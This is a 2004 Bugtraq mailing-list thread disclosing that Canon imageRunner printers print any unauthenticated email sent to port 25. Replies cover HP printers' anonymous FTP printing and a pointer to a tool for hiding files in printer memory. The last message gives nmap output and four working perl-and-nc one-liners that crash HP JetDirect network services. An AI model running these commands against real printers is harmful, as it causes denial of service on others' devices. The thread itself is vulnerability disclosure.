Promiscuous email printing in Canon imageRunner

[Andrew Daviel]

The Canon iR5000i digital printer (and probably other imageRunner models)
has a somewhat undocumented print-from-email feature.

Any text/plain email sent to port 25 on the device will be printed.
The MAIL FROM and RCPT TO values are not authenticated or even checked
for syntax.

There appears to be no way to disable email printing via the Web interface
or front panel, as there is for lpd, ipp and http printing.

Recently these printers have been targetted by spammers as an apparent
open relay (if they don't bother to test for forwarding). There is thus an
effective DoS attack by paper consumption.

This service is blocked by the provided ip address range filtering option.

--
Andrew Daviel, TRIUMF, Canada
Tel. +1 (604) 222-7376
security@triumf.ca

[Chip Mefford]

Andrew Daviel wrote:
> The Canon iR5000i digital printer (and probably other imageRunner models)
> has a somewhat undocumented print-from-email feature.

Verified in Canon Color ImageRunner iR C3200.

session only gives DSN in response to ehlo,
and just prints whatever you feed it.

Job is identified as an I-Fax

[Matthew E. Lauterbach]

On Thursday, September 23, 2004 5:44 PM Andrew Daviel wrote:
> The Canon iR5000i digital printer (and probably other
> imageRunner models)
> has a somewhat undocumented print-from-email feature.
>
> Any text/plain email sent to port 25 on the device will be printed.
> The MAIL FROM and RCPT TO values are not authenticated or even checked
> for syntax.

The Canon iR85 does not seem to have this "feature". Doing "telnet 10.0.0.1
25" to either of my iR85 printers returns "Could not open connection to the
host, on port 25: Connect failed".

Matt Lauterbach

[Eric McCarty]

You think that's bad?, HP Laserjet 4000's, 4100's, 4200's and others
accept any print job you FTP to them, and its anonymous ftp so anyone
can ftp in and send over a print job using the PUT command. This is
nothing new and has been long reported however.=20

The trick would be finding a way to upload files to the onboard printer
memory and keep them there, 64mb of space to hide a tarball or zip of
utils would defintely be nice on campus networks.=20

Eric

-----Original Message-----
From: Matthew E. Lauterbach [mailto:mlauterbach@mail.wtamu.edu]=20
Sent: Monday, September 27, 2004 2:02 AM
To: bugtraq@securityfocus.com
Subject: RE: Promiscuous email printing in Canon imageRunner

On Thursday, September 23, 2004 5:44 PM Andrew Daviel wrote:
> The Canon iR5000i digital printer (and probably other imageRunner=20
> models) has a somewhat undocumented print-from-email feature.
>=20
> Any text/plain email sent to port 25 on the device will be printed.
> The MAIL FROM and RCPT TO values are not authenticated or even checked

> for syntax.
=20
The Canon iR85 does not seem to have this "feature". Doing "telnet
10.0.0.1 25" to either of my iR85 printers returns "Could not open
connection to the host, on port 25: Connect failed".

Matt Lauterbach

[Felix Lindner]

Eric McCarty wrote:
> The trick would be finding a way to upload files to the onboard printer
> memory and keep them there, 64mb of space to hide a tarball or zip of
> utils would defintely be nice on campus networks.

Please see http://www.phenoelit.de/hp/ for a tool providing you with
exactly this functionality and some more.

regards
Felix Lindner

--
Felix Lindner, CISSP | Senior Security Consultant, n.runs GmbH
fx@nruns.com | +49 (0)171 740 20 62
Hacking's just another word for nothing left to kludge.

[Jeff Bates]

=20
Try scanning the Ip address with nmap -A 10.0.0.1

My IR2200 didn't have port 25 open, but it still printed 15-20 sheets of
paper.

- J=20


-----Original Message-----
From: Matthew E. Lauterbach [mailto:mlauterbach@mail.wtamu.edu]=20
Sent: Monday, September 27, 2004 5:02 AM
To: bugtraq@securityfocus.com
Subject: RE: Promiscuous email printing in Canon imageRunner

On Thursday, September 23, 2004 5:44 PM Andrew Daviel wrote:
> The Canon iR5000i digital printer (and probably other imageRunner=20
> models) has a somewhat undocumented print-from-email feature.
>=20
> Any text/plain email sent to port 25 on the device will be printed.
> The MAIL FROM and RCPT TO values are not authenticated or even checked

> for syntax.
=20
The Canon iR85 does not seem to have this "feature". Doing "telnet
10.0.0.1 25" to either of my iR85 printers returns "Could not open
connection to the host, on port 25: Connect failed".

Matt Lauterbach

[Marco Ivaldi]

> Try scanning the Ip address with nmap -A 10.0.0.1

Hello Bugtraq,

While we're talking about printers, some time ago i discovered by accident
some lame Denial of Service vulnerabilities in my HP JetDirect printer
(tested on J3111A, firmware version G.05.35 -- pretty old). Not sure if
they can be reproduced on newer models/firmwares.

Here we go:

root@charon:~# nmap -A x.x.x.x
Interesting ports on printer.mediaservice.pri (x.x.x.x):
(The 1655 ports scanned but not shown below are in state: closed)
PORT STATE SERVICE VERSION
23/tcp open telnet HP JetDirect printer telnetd
80/tcp open http?
515/tcp open printer?
9100/tcp open jetdirect?
Device type: printer|print server
Running: HP embedded
OS details: HP printer w/JetDirect card

# telnet -> crash of all network services
root@charon:~# perl -e 'print "ABCD"x666 . "\n"' | nc x.x.x.x 23

# http -> crash of all network services with funny stack dump on paper! ;)
root@charon:~# perl -e 'print "ABCD"x666 . "\n"' | nc x.x.x.x 80

# printer -> the printer switches indefinitely between data recv and ready
root@charon:~# perl -e 'print "ABCD"x666 . "\n"' | nc x.x.x.x 515

# jetdirect -> prints ABCD... and leaves the printer in "unstable" status
root@charon:~# perl -e 'print "ABCD"x666 . "\n"' | nc x.x.x.x 9100

I've scanned the funny stack dump printed on paper and put it on-line at:

http://www.0xdeadbeef.info/stuff/hp-crash.jpg

You should also take a look to Paul Szabo's excellent web resources on
PostScript, PJL/PCL, and secure HP printers configuration:

http://www.maths.usyd.edu.au:8000/u/psz/ps.html

Cheers,

--
Marco Ivaldi
Antifork Research, Inc. http://0xdeadbeef.info/
3B05 C9C5 A2DE C3D7 4233 0394 EF85 2008 DBFD B707